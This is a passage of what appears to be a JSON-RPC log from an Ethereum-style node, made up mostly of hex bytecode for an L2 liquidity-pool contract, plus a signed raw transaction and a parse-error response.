001600160a01b038d81166024830152604482018d90529283166064808301919091528251808303909101815260849091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f53174cc100000000000000000000000000000000000000000000000000000000179052609a54609d54919261480f9291169063ffffffff16610eff565b506123a3565b604080516001600160a01b038c811682526020820184905281830187905260608201869052608082018590528a1660a082015290517fedb4d3b4b55168608412f15db11c00859915842963c31b1f08d910a38e1d6aa49181900360c00190a150505050505050505050565b60a1546001600160a01b0382811691161480156148a7575060a1546001600160a01b031615155b15610a265760a0546040517f40c10f19000000000000000000000000000000000000000000000000000000008152336004820152602481018490526001600160a01b03909116906340c10f19906044016143e7565b6000614951826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166149e19092919063ffffffff16565b805190915015611c44578080602001905181019061496f9190614ff4565b611c445760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f7420737563636565640000000000000000000000000000000000000000000060648201526084016108c4565b60606149f084846000856149f8565b949350505050565b606082471015614a705760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c000000000000000000000000000000000000000000000000000060648201526084016108c4565b843b614abe5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016108c4565b600080866001600160a01b03168587604051614ada9190615016565b60006040518083038185875af1925050503d8060008114614b17576040519150601f19603f3d011682016040523d82523d6000602084013e614b1c565b606091505b5091509150614b2c828286614b37565b979650505050505050565b60608315614b46575081613bae565b825115614b565782518084602001fd5b8160405162461bcd60e51b81526004016108c49190615032565b6001600160a01b0381168114613f2a57600080fd5b60008060408385031215614b9857600080fd5b8235614ba381614b70565b91506020830135614bb381614b70565b809150509250929050565b600060208284031215614bd057600080fd5b8135613bae81614b70565b60008060408385031215614bee57600080fd5b823591506020830135614bb381614b70565b600060208284031215614c1257600080fd5b813563ffffffff81168114613bae57600080fd5b600080600060608486031215614c3b57600080fd5b505081359360208301359350604090920135919050565b600080600060608486031215614c6757600080fd5b833592506020840135614c7981614b70565b91506040840135614c8981614b70565b809150509250925092565b600080600060608486031215614ca957600080fd5b8335614cb481614b70565b9250602084013591506040840135614c8981614b70565b60008060208385031215614cde57600080fd5b823567ffffffffffffffff80821115614cf657600080fd5b818501915085601f830112614d0a57600080fd5b813581811115614d1957600080fd5b866020606083028501011115614d2e57600080fd5b60209290920196919550909350505050565b600060208284031215614d5257600080fd5b5051919050565b600060208284031215614d6b57600080fd5b8151613bae81614b70565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600060608284031215614db757600080fd5b6040516060810181811067ffffffffffffffff82111715614e01577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040528235614e0f81614b70565b81526020830135614e1f81614b70565b60208201526040928301359281019290925250919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614e9857614e98614e37565b5060010190565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614ed757614ed7614e37565b500290565b600082614f12577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b600082821015614f2957614f29614e37565b500390565b60008219821115614f4157614f41614e37565b500190565b60005b83811015614f61578181015183820152602001614f49565b838111156119025750506000910152565b60008151808452614f8a816020860160208601614f46565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b6001600160a01b0384168152606060208201526000614fde6060830185614f72565b905063ffffffff83166040830152949350505050565b60006020828403121561500657600080fd5b81518015158114613bae57600080fd5b60008251615028818460208701614f46565b9190910192915050565b602081526000613bae6020830184614f7256fea164736f6c6343000809000a820264a0c19e5fab427069537b1b8d5dee0fe85024a7f4bb79ba1f3d2252ef597c05226ea037d06312f23acb8038ca26702a0e709331830e3b7b91e3e1a82ddb18f2a05fdd"],"id":1}|{"jsonrpc":"2.0","error":{"code":-32700,"message":"parse error"},"id":null}| -response too long|{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["0x02f8b28201a406849502f931849502f931830147f9948f3ddd0fbf3e78ca1d6cd17379ed88e261249b5280b84447e7ef2400000000000000000000000089c8b1b2774201bac50f627403eac1b732459cf70000000000000000000000000000000000000000000000056bc75e2d63100000c080a0473c95566026c312c9664cd61145d2f3e759d49209fe96011ac012884ec5b017a0763b58f6fa6096e6ba28ee08bfac58f58fb3b8bcef5af98578bdeaddf40bde42"],"id":1}|{"id": 123, "jsonrpc": "2.0", "result": "0xf950d882012e843b9aca008359d6b38080b95082608060405234801561001057600080fd5b50600080546001600160a01b0319169055615052806100306000396000f3fe6080604052600436106102a05760003560e01c80636854e22b1161016e57806398fabd3a116100cb578063c58827ea1161007f578063ecb12db011610064578063ecb12db0146107fa578063f2fde38b1461081a578063f48712681461083a57600080fd5b8063c58827ea146107c7578063c95f9d0e146107e757600080fd5b80639a7b5f11116100b05780639a7b5f11146106d6578063b4eeb98814610787578063bd2d1cab146107a757600080fd5b806398fabd3a14610693578063997d73df146106bb57600080fd5b8063744a5aa21161012257806381e6bdac1161010757806381e6bdac1461063e5780638456cb591461065e5780638da5cb5b1461067357600080fd5b8063744a5aa21461061257806377b594a21461062857600080fd5b80636af9f1c2116101535780636af9f1c2146105bc57806370ac3180146105dc5780637286e5e5146105f257600080fd5b80636854e22b1461056a57806368be42ca1461059c57600080fd5b80633cb747bf1161021c578063485cc955116101d0578063531645cb116101b5578063531645cb146105125780635c975abb14610532578063650a767b1461054a57600080fd5b8063485cc955146104d257806349561dc4146104f257600080fd5b80633f4ba83a116102015780633f4ba83a1461047d5780633f89e9521461049257806341132e4c146104b257600080fd5b80633cb747bf1461043d5780633d93941b1461045d57600080fd5b80631786e46d116102735780631f0bfb8c116102585780631f0bfb8c146103b957806334636648146103f9578063358fc07e1461041957600080fd5b80631786e46d146103865780631d00a771146103a657600080fd5b8063067b2dcb146102a55780630f208beb146102c757806312f54c1a1461032e57806316a8dda71461034e575b600080fd5b3480156102b157600080fd5b506102c56102c0366004614b85565b61085a565b005b3480156102d357600080fd5b5061030e6102e2366004614b85565b609860209081526000928352604080842090915290825290208054600182015460029092015490919083565b604080519384526020840192909252908201526060015b60405180910390f35b34801561033a57600080fd5b506102c5610349366004614bbe565b610994565b34801561035a57600080fd5b50609a5461036e906001600160a01b031681565b6040516001600160a01b039091168152602001610325565b34801561039257600080fd5b5060a15461036e906001600160a01b031681565b6102c56103b4366004614bdb565b610a2a565b3480156103c557600080fd5b506103e96103d4366004614bbe565b60a26020526000908152604090205460ff1681565b6040519015158152602001610325565b34801561040557600080fd5b506102c5610414366004614c00565b610f0c565b34801561042557600080fd5b5061042f609c5481565b604051908152602001610325565b34801561044957600080fd5b5060005461036e906001600160a01b031681565b34801561046957600080fd5b506102c5610478366004614bbe565b61102f565b34801561048957600080fd5b506102c5611153565b34801561049e57600080fd5b506102c56104ad366004614bdb565b6111cb565b3480156104be57600080fd5b506102c56104cd366004614c26565b6116f3565b3480156104de57600080fd5b506102c56104ed366004614b85565b611908565b3480156104fe57600080fd5b506102c561050d366004614c52565b611c49565b34801561051e57600080fd5b5060a05461036e906001600160a01b031681565b34801561053e57600080fd5b5060655460ff166103e9565b34801561055657600080fd5b506102c5610565366004614c94565b611f45565b34801561057657600080fd5b50609d546105879063ffffffff1681565b60405163ffffffff9091168152602001610325565b3480156105a857600080fd5b506102c56105b7366004614c52565b6123af565b3480156105c857600080fd5b5060a35461036e906001600160a01b031681565b3480156105e857600080fd5b5061042f609e5481565b3480156105fe57600080fd5b506102c561060d366004614b85565b6126ce565b34801561061e57600080fd5b5061042f609f5481565b34801561063457600080fd5b5061042f609b5481565b34801561064a57600080fd5b506102c5610659366004614c52565b612979565b34801561066a57600080fd5b506102c5612bf0565b34801561067f57600080fd5b5060995461036e906001600160a01b031681565b34801561069f57600080fd5b50609d5461036e9064010000000090046001600160a01b031681565b3480156106c757600080fd5b50609d5463ffffffff16610587565b3480156106e257600080fd5b506107416106f1366004614bbe565b609760205260009081526040902080546001820154600283015460038401546004850154600586015460068701546007909701546001600160a01b03968716979590961695939492939192909188565b604080516001600160a01b03998a168152989097166020890152958701949094526060860192909252608085015260a084015260c083015260e082015261010001610325565b34801561079357600080fd5b506102c56107a2366004614ccb565b612c66565b3480156107b357600080fd5b506102c56107c2366004614c94565b612f44565b3480156107d357600080fd5b506102c56107e2366004614c26565b6131cc565b6102c56107f5366004614bdb565b613356565b34801561080657600080fd5b5061042f610815366004614bbe565b61373a565b34801561082657600080fd5b506102c5610835366004614bbe565b6138fe565b34801561084657600080fd5b506102c5610855366004614bbe565b613a54565b6099546001600160a01b031633148061087c57506099546001600160a01b0316155b6108cd5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e657200000000000000000060448201526064015b60405180910390fd5b60a1546001600160a01b03161580156108ee57506001600160a01b03821615155b801561090257506001600160a01b03811615155b61094e5760405162461bcd60e51b815260206004820152601460248201527f496e76616c696420424f4241206164647265737300000000000000000000000060448201526064016108c4565b60a180546001600160a01b039384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560a08054929093169116179055565b6001600160a01b0381166000908152609760205260409020600481015460038201541015610a265760006109d982600301548360040154613ba290919063ffffffff16565b90508160020154600014610a1a576002820154610a1490610a0990610a038464e8d4a51000613bb5565b90613bc1565b600584015490613bcd565b60058301555b50600481015460038201555b5050565b60655460ff1615610a7d5760405162461bcd60e51b815260206004820152601060248201527f5061757361626c653a207061757365640000000000000000000000000000000060448201526064016108c4565b60a3546001600160a01b0316610afb5760405162461bcd60e51b815260206004820152602360248201527f42696c6c696e6720636f6e74726163742061646472657373206973206e6f742060448201527f736574000000000000000000000000000000000000000000000000000000000060648201526084016108c4565b60a354604080517f6284ae4100000000000000000000000000000000000000000000000000000000815290516001600160a01b0390921691610c1d91339184918291636284ae4191600480820192602092909190829003018186803b158015610b6357600080fd5b505afa158015610b77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9b9190614d40565b846001600160a01b031663b8df0dea6040518163ffffffff1660e01b815260040160206040518083038186803b158015610bd457600080fd5b505afa158015610be8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0c9190614d59565b6001600160a01b0316929190613bd9565b34151580610c4857506001600160a01b03821673420000000000000000000000000000000000000614155b610cba5760405162461bcd60e51b815260206004820152603260248201527f45697468657220416d6f756e7420496e636f7272656374206f7220546f6b656e60448201527f204164647265737320496e636f7272656374000000000000000000000000000060648201526084016108c4565b3415801590610ce657506001600160a01b03821673420000000000000000000000000000000000000614155b15610d595760405162461bcd60e51b815260206004820152603260248201527f45697468657220416d6f756e7420496e636f7272656374206f7220546f6b656e60448201527f204164647265737320496e636f7272656374000000000000000000000000000060648201526084016108c4565b3415610d7a5734925073420000000000000000000000000000000000000691505b6001600160a01b0380831660009081526097602052604090206001810154909116610de75760405162461bcd60e51b815260206004820152601c60248201527f546f6b656e2041646472657373204e6f7420526567697374657265640000000060448201526064016108c4565b60408051338152602081018690526001600160a01b0385168183015290517fe57500de6b6dcf76b201fef514aca6501809e3b700c9fbd5e803567c66edf54c9181900360600190a16001600160a01b03831673420000000000000000000000000000000000000614610e6857610e686001600160a01b038416333087613bd9565b805460408051336024820152604481018790526001600160a01b039283166064808301919091528251808303909101815260849091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fcf26fb1b00000000000000000000000000000000000000000000000000000000179052609a54609d549192610f059291169063ffffffff165b83613ca8565b5050505050565b6099546001600160a01b0316331480610f2e57506099546001600160a01b0316155b610f7a5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e657200000000000000000060448201526064016108c4565b609a546001600160a01b0316610ff85760405162461bcd60e51b815260206004820152602560248201527f436f6e747261637420686173206e6f7420796574206265656e20696e6974696160448201527f6c697a656400000000000000000000000000000000000000000000000000000060648201526084016108c4565b609d80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000001663ffffffff92909216919091179055565b6099546001600160a01b031633148061105157506099546001600160a01b0316155b61109d5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e657200000000000000000060448201526064016108c4565b6001600160a01b0381166111195760405162461bcd60e51b815260206004820152602760248201527f42696c6c696e6720636f6e747261637420616464726573732063616e6e6f742060448201527f6265207a65726f0000000000000000000000000000000000000000000000000060648201526084016108c4565b60a380547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6099546001600160a01b031633148061117557506099546001600160a01b0316155b6111c15760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e657200000000000000000060448201526064016108c4565b6111c9613d23565b565b6099546001600160a01b03163314806111ed57506099546001600160a01b0316155b6112395760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e657200000000000000000060448201526064016108c4565b60655460ff161561128c5760405162461bcd60e51b815260206004820152601060248201527f5061757361626c653a207061757365640000000000000000000000000000000060448201526064016108c4565b816112d95760405162461bcd60e51b815260206004820152601260248201527f416d6f756e742063616e6e6f742062652030000000000000000000000000000060448201526064016108c4565b6001600160a01b038082166000908152609760205260409020609a549091166113445760405162461bcd60e51b815260206004820181905260248201527f4c31204c697175696469747920506f6f6c204e6f74205265676973746572656460448201526064016108c4565b60018101546001600160a01b031661139e5760405162461bcd60e51b815260206004820152601c60248201527f546f6b656e2041646472657373204e6f7420526567697374657265640000000060448201526064016108c4565b6001600160a01b03821673420000000000000000000000000000000000000614156114f357478311156114395760405162461bcd60e51b815260206004820152602260248201527f52657175657374656420455448206578636565647320706f6f6c2062616c616e60448201527f636500000000000000000000000000000000000000000000000000000000000060648201526084016108c4565b609a54609d546040517fa3a795480000000000000000000000000000000000000000000000000000000081526001600160a01b03808616600483015290921660248301526044820185905263ffffffff16606482015260a06084820152600060a48201527342000000000000000000000000000000000000109063a3a795489060c401600060405180830381600087803b1580156114d657600080fd5b505af11580156114ea573d6000803e3d6000fd5b505050506116ad565b6040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b038316906370a082319060240160206040518083038186803b15801561154b57600080fd5b505afa15801561155f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115839190614d40565b8311156115f75760405162461bcd60e51b8152602060048201526024808201527f526571756573746564204552433230206578636565647320706f6f6c2062616c60448201527f616e63650000000000000000000000000000000000000000000000000000000060648201526084016108c4565b609a54609d546040517fa3a795480000000000000000000000000000000000000000000000000000000081526001600160a01b03808616600483015290921660248301526044820185905263ffffffff16606482015260a06084820152600060a48201527342000000000000000000000000000000000000109063a3a795489060c401600060405180830381600087803b15801561169457600080fd5b505af11580156116a8573d6000803e3d6000fd5b505050505b604080518481526001600160a01b03841660208201527f40637a7e139eeb28b936b8decebe78604164b2ade81ce7f4c70deb132e7614c2910160405180910390a1505050565b609d5464010000000090046001600160a01b031633146117555760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206973206e6f74207468652044414f000000000000000000000060448201526064016108c4565b609a546001600160a01b03166117d35760405162461bcd60e51b815260206004820152602560248201527f436f6e747261637420686173206e6f7420796574206265656e20696e6974696160448201527f6c697a656400000000000000000000000000000000000000000000000000000060648201526084016108c4565b8183111580156117e35750600083115b80156117f0575060328211155b80156117fd575060328111155b61186f5760405162461bcd60e51b815260206004820152603c60248201527f7573657220616e64206f776e6572206665652072617465732073686f756c642060448201527f6265206c6f776572207468616e20352070657263656e7420656163680000000060648201526084016108c4565b60408051602481018590526044810184905260648082018490528251808303909101815260849091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fc58827ea00000000000000000000000000000000000000000000000000000000179052609a54609d54611902916001600160a01b03169063ffffffff16610eff565b50505050565b6099546001600160a01b031633148061192a57506099546001600160a01b0316155b6119765760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e657200000000000000000060448201526064016108c4565b609a546001600160a01b0316156119cf5760405162461bcd60e51b815260206004820152601d60248201527f436f6e747261637420686173206265656e20696e697469616c697a656400000060448201526064016108c4565b6000547501000000000000000000000000000000000000000000900460ff1680611a14575060005474010000000000000000000000000000000000000000900460ff16155b611a865760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a656400000000000000000000000000000000000060648201526084016108c4565b6000547501000000000000000000000000000000000000000000900460ff16158015611aed57600080547fffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffff1675010100000000000000000000000000000000000000001790555b6001600160a01b03831615801590611b0d57506001600160a01b03821615155b611b595760405162461bcd60e51b815260206004820152601860248201527f7a65726f2061646472657373206e6f7420616c6c6f776564000000000000000060448201526064016108c4565b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000009081166001600160a01b0386811691909117909255609a80548216928516929092179091556099805433921682179055609d80547fffffffffffffffff0000000000000000000000000000000000000000ffffffff16640100000000909202919091179055611bf16001600a600f6131cc565b611bfd620186a0610f0c565b611c05613ddd565b611c0d613f2d565b611c156140a4565b8015611c4457600080547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff1690555b505050565b60655460ff1615611c9c5760405162461bcd60e51b815260206004820152601060248201527f5061757361626c653a207061757365640000000000000000000000000000000060448201526064016108c4565b6001600160a01b0380831660009081526097602090815260408083206098835281842033855290925290912060018201549192909116611d1e5760405162461bcd60e51b815260206004820152601c60248201527f546f6b656e2041646472657373204e6f7420526567697374657265640000000060448201526064016108c4565b6000611d60611d558360010154611d4f64e8d4a51000610a0388600501548860000154613bb590919063ffffffff16565b90613ba2565b600284015490613bcd565b905085811015611dd85760405162461bcd60e51b815260206004820152602660248201527f52657175657374656420616d6f756e7420657863656564732070656e64696e6760448201527f526577617264000000000000000000000000000000000000000000000000000060648201526084016108c4565b611de28187613ba2565b600283015560058301548254611e029164e8d4a5100091610a0391613bb5565b6001830155604080513381526001600160a01b0386811660208301528183018990528716606082015290517f3cb7cb475a33eda02ee6e719b6c2fc0c899157cfc6f098daf545354dbbce41ec9181900360800190a16001600160a01b03851673420000000000000000000000000000000000000614611e9457611e8f6001600160a01b03861685886141f7565b611f3d565b6000846001600160a01b03166108fc88604051600060405180830381858888f193505050503d8060008114611ee5576040519150601f19603f3d011682016040523d82523d6000602084013e611eea565b606091505b5050905080611f3b5760405162461bcd60e51b815260206004820152601660248201527f4661696c656420746f2073656e64206f766d5f4574680000000000000000000060448201526064016108c4565b505b505050505050565b609a546001600160a01b0316611fc35760405162461bcd60e51b815260206004820152602560248201527f436f6e747261637420686173206e6f7420796574206265656e20696e6974696160448201527f6c697a656400000000000000000000000000000000000000000000000000000060648201526084016108c4565b609a546001600160a01b0316611fe16000546001600160a01b031690565b6001600160a01b0316336001600160a01b0316146120675760405162461bcd60e51b815260206004820152602e60248201527f4f564d5f58434841494e3a206d657373656e67657220636f6e7472616374207560448201527f6e61757468656e7469636174656400000000000000000000000000000000000060648201526084016108c4565b806001600160a01b03166120836000546001600160a01b031690565b6001600160a01b0316636e296e456040518163ffffffff1660e01b815260040160206040518083038186803b1580156120bb57600080fd5b505afa1580156120cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120f39190614d59565b6001600160a01b03161461216f5760405162461bcd60e51b815260206004820152603060248201527f4f564d5f58434841494e3a2077726f6e672073656e646572206f662063726f7360448201527f732d646f6d61696e206d6573736167650000000000000000000000000000000060648201526084016108c4565b60655460ff16156121c25760405162461bcd60e51b815260206004820152601060248201527f5061757361626c653a207061757365640000000000000000000000000000000060448201526064016108c4565b6001600160a01b0382166000908152609760205260408120906121e48461373a565b905060006121f86103e8610a038885613bb5565b905060006122176103e8610a03609c548a613bb590919063ffffffff16565b905060006122258383613bcd565b905060006122338983613ba2565b60048701549091506122459085613bcd565b600487015560068601546122599084613bcd565b6006870155604080516001600160a01b038c811682526020820184905281830187905260608201869052608082018590528a1660a082015290517ff1068421680e00dfc2c4f3fc20c7f565bf1ec365420e7544365bae13d5cbc8c89181900360c00190a16001600160a01b038816734200000000000000000000000000000000000006146122fa576122f56001600160a01b0389168b836141f7565b6123a3565b60008a6001600160a01b03166108fc83604051600060405180830381858888f193505050503d806000811461234b576040519150601f19603f3d011682016040523d82523d6000602084013e612350565b606091505b50509050806123a15760405162461bcd60e51b815260206004820152601660248201527f4661696c656420746f2073656e64206f766d5f4574680000000000000000000060448201526064016108c4565b505b50505050505050505050565b60655460ff16156124025760405162461bcd60e51b815260206004820152601060248201527f5061757361626c653a207061757365640000000000000000000000000000000060448201526064016108c4565b6001600160a01b03808316600090815260976020908152604080832060988352818420338552909252909120600182015491929091166124845760405162461bcd60e51b815260206004820152601c60248201527f546f6b656e2041646472657373204e6f7420526567697374657265640000000060448201526064016108c4565b80548511156124fb5760405162461bcd60e51b815260206004820152602660248201527f52657175657374656420616d6f756e74206578636565647320616d6f756e742060448201527f7374616b6564000000000000000000000000000000000000000000000000000060648201526084016108c4565b61250484614240565b61250d84610994565b61254761253c8260010154611d4f64e8d4a51000610a0387600501548760000154613bb590919063ffffffff16565b600283015490613bcd565b600282015580546125589086613ba2565b80825560058301546125759164e8d4a5100091610a039190613bb5565b600182015560028201546125899086613ba2565b6002830155604080513381526001600160a01b0385811660208301528183018890528616606082015290517ffa2e8fcf14fd6ea11b6ebe7caf7de210198b8fe1eaf0e06d19f8d87c73860c469181900360800190a16001600160a01b0384167342000000000000000000000000000000000000061461261b576126166001600160a01b03851684876141f7565b6126c4565b6000836001600160a01b03166108fc87604051600060405180830381858888f193505050503d806000811461266c576040519150601f19603f3d011682016040523d82523d6000602084013e612671565b606091505b50509050806126c25760405162461bcd60e51b815260206004820152601660248201527f4661696c656420746f2073656e64206f766d5f4574680000000000000000000060448201526064016108c4565b505b610f05858561436f565b6099546001600160a01b03163314806126f057506099546001600160a01b0316155b61273c5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e657200000000000000000060448201526064016108c4565b806001600160a01b0316826001600160a01b031614156127c45760405162461bcd60e51b815260206004820152602860248201527f6c3120616e64206c3220746f6b656e206164647265737365732063616e6e6f7460448201527f2062652073616d6500000000000000000000000000000000000000000000000060648201526084016108c4565b6001600160a01b0381166128405760405162461bcd60e51b815260206004820152602760248201527f6c3220746f6b656e20616464726573732063616e6e6f74206265207a65726f2060448201527f616464726573730000000000000000000000000000000000000000000000000060648201526084016108c4565b6001600160a01b0380821660009081526097602052604090206001810154909116156128ae5760405162461bcd60e51b815260206004820181905260248201527f546f6b656e204164647265737320416c7265616479205265676973746572656460448201526064016108c4565b5060408051610100810182526001600160a01b03938416815291831660208084018281526000858501818152606087018281526080880183815260a0890184815260c08a018581524260e08c0190815298865260979097529790932097518854908a167fffffffffffffffffffffffff0000000000000000000000000000000000000000918216178955935160018901805491909a16941693909317909755955160028601555160038501559351600484015590516005830155915160068201559051600790910155565b6099546001600160a01b031633148061299b57506099546001600160a01b0316155b6129e75760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e657200000000000000000060448201526064016108c4565b6001600160a01b0380831660009081526097602052604090206001810154909116612a545760405162461bcd60e51b815260206004820152601c60248201527f546f6b656e2041646472657373204e6f7420526567697374657265640000000060448201526064016108c4565b8381600601541015612aa85760405162461bcd60e51b815260206004820152601f60248201527f52657175657374656420616d6f756e742065786365656473207265776172640060448201526064016108c4565b6006810154612ab79085613ba2565b6006820155604080513381526001600160a01b0384811660208301528183018790528516606082015290517f3cb71b9a1fb601579f96812b9f86ab5e914fc3e54c98d5f84d95581b2b9884f39181900360800190a16001600160a01b03831673420000000000000000000000000000000000000614612b4957612b446001600160a01b03841683866141f7565b611902565b6000826001600160a01b03166108fc86604051600060405180830381858888f193505050503d8060008114612b9a576040519150601f19603f3d011682016040523d82523d6000602084013e612b9f565b606091505b5050905080610f055760405162461bcd60e51b815260206004820152601660248201527f4661696c656420746f2073656e64206f766d5f4574680000000000000000000060448201526064016108c4565b6099546001600160a01b0316331480612c1257506099546001600160a01b0316155b612c5e5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e657200000000000000000060448201526064016108c4565b6111c9614415565b609a546001600160a01b0316612ce45760405162461bcd60e51b815260206004820152602560248201527f436f6e747261637420686173206e6f7420796574206265656e20696e6974696160448201527f6c697a656400000000000000000000000000000000000000000000000000000060648201526084016108c4565b609a546001600160a01b0316612d026000546001600160a01b031690565b6001600160a01b0316336001600160a01b031614612d885760405162461bcd60e51b815260206004820152602e60248201527f4f564d5f58434841494e3a206d657373656e67657220636f6e7472616374207560448201527f6e61757468656e7469636174656400000000000000000000000000000000000060648201526084016108c4565b806001600160a01b0316612da46000546001600160a01b031690565b6001600160a01b0316636e296e456040518163ffffffff1660e01b815260040160206040518083038186803b158015612ddc57600080fd5b505afa158015612df0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e149190614d59565b6001600160a01b031614612e905760405162461bcd60e51b815260206004820152603060248201527f4f564d5f58434841494e3a2077726f6e672073656e646572206f662063726f7360448201527f732d646f6d61696e206d6573736167650000000000000000000000000000000060648201526084016108c4565b60655460ff1615612ee35760405162461bcd60e51b815260206004820152601060248201527f5061757361626c653a207061757365640000000000000000000000000000000060448201526064016108c4565b60005b82811015611902576000848483818110612f0257612f02614d76565b905060600201803603810190612f189190614da5565b9050612f318160000151826040015183602001516144bb565b5080612f3c81614e66565b915050612ee6565b609a546001600160a01b0316612fc25760405162461bcd60e51b815260206004820152602560248201527f436f6e747261637420686173206e6f7420796574206265656e20696e6974696160448201527f6c697a656400000000000000000000000000000000000000000000000000000060648201526084016108c4565b609a546001600160a01b0316612fe06000546001600160a01b031690565b6001600160a01b0316336001600160a01b0316146130665760405162461bcd60e51b815260206004820152602e60248201527f4f564d5f58434841494e3a206d657373656e67657220636f6e7472616374207560448201527f6e61757468656e7469636174656400000000000000000000000000000000000060648201526084016108c4565b806001600160a01b03166130826000546001600160a01b031690565b6001600160a01b0316636e296e456040518163ffffffff1660e01b815260040160206040518083038186803b1580156130ba57600080fd5b505afa1580156130ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130f29190614d59565b6001600160a01b03161461316e5760405162461bcd60e51b815260206004820152603060248201527f4f564d5f58434841494e3a2077726f6e672073656e646572206f662063726f7360448201527f732d646f6d61696e206d6573736167650000000000000000000000000000000060648201526084016108c4565b60655460ff16156131c15760405162461bcd60e51b815260206004820152601060248201527f5061757361626c653a207061757365640000000000000000000000000000000060448201526064016108c4565b6119028484846144bb565b609d5464010000000090046001600160a01b0316331461322e5760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206973206e6f74207468652044414f000000000000000000000060448201526064016108c4565b609a546001600160a01b03166132ac5760405162461bcd60e51b815260206004820152602560248201527f436f6e747261637420686173206e6f7420796574206265656e20696e6974696160448201527f6c697a656400000000000000000000000000000000000000000000000000000060648201526084016108c4565b8183111580156132bc5750600083115b80156132c9575060328211155b80156132d6575060328111155b6133485760405162461bcd60e51b815260206004820152603c60248201527f7573657220616e64206f776e6572206665652072617465732073686f756c642060448201527f6265206c6f776572207468616e20352070657263656e7420656163680000000060648201526084016108c4565b609b92909255609f55609c55565b600260015414156133a95760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016108c4565b600260015560655460ff16156134015760405162461bcd60e51b815260206004820152601060248201527f5061757361626c653a207061757365640000000000000000000000000000000060448201526064016108c4565b3415158061342c57506001600160a01b03811673420000000000000000000000000000000000000614155b61349e5760405162461bcd60e51b815260206004820152603260248201527f45697468657220416d6f756e7420496e636f7272656374206f7220546f6b656e60448201527f204164647265737320496e636f7272656374000000000000000000000000000060648201526084016108c4565b34158015906134ca57506001600160a01b03811673420000000000000000000000000000000000000614155b1561353d5760405162461bcd60e51b815260206004820152603260248201527f45697468657220416d6f756e7420496e636f7272656374206f7220546f6b656e60448201527f204164647265737320496e636f7272656374000000000000000000000000000060648201526084016108c4565b341561355d57503490507342000000000000000000000000000000000000065b6001600160a01b03808216600090815260976020908152604080832060988352818420338552909252909120600182015491929091166135df5760405162461bcd60e51b815260206004820152601c60248201527f546f6b656e2041646472657373204e6f7420526567697374657265640000000060448201526064016108c4565b6135e883614240565b6135f183610994565b80541561365d5761362761253c8260010154611d4f64e8d4a51000610a0387600501548760000154613bb590919063ffffffff16565b6002820155600582015481546136539164e8d4a5100091610a03919061364d9089613bcd565b90613bb5565b6001820155613683565b61367d64e8d4a51000610a03846005015487613bb590919063ffffffff16565b60018201555b805461368f9085613bcd565b815560028201546136a09085613bcd565b600283015560408051338152602081018690526001600160a01b0385168183015290517f5852d1d46e583f7e92c2a572221de0e681d82ef71f489847e056b9445c0147369181900360600190a16001600160a01b03831673420000000000000000000000000000000000000614613726576137266001600160a01b038416333087613bd9565b6137308484614880565b5050600180555050565b609a546000906001600160a01b03166137bb5760405162461bcd60e51b815260206004820152602560248201527f436f6e747261637420686173206e6f7420796574206265656e20696e6974696160448201527f6c697a656400000000000000000000000000000000000000000000000000000060648201526084016108c4565b6001600160a01b03821660008181526097602052604081206002810154909290919073420000000000000000000000000000000000000614156137ff575047613892565b6040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b038616906370a082319060240160206040518083038186803b15801561385757600080fd5b505afa15801561386b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061388f9190614d40565b90505b806138a3575050609f549392505050565b60008183609b546138b49190614e9f565b6138be9190614edc565b905080609b5411156138d757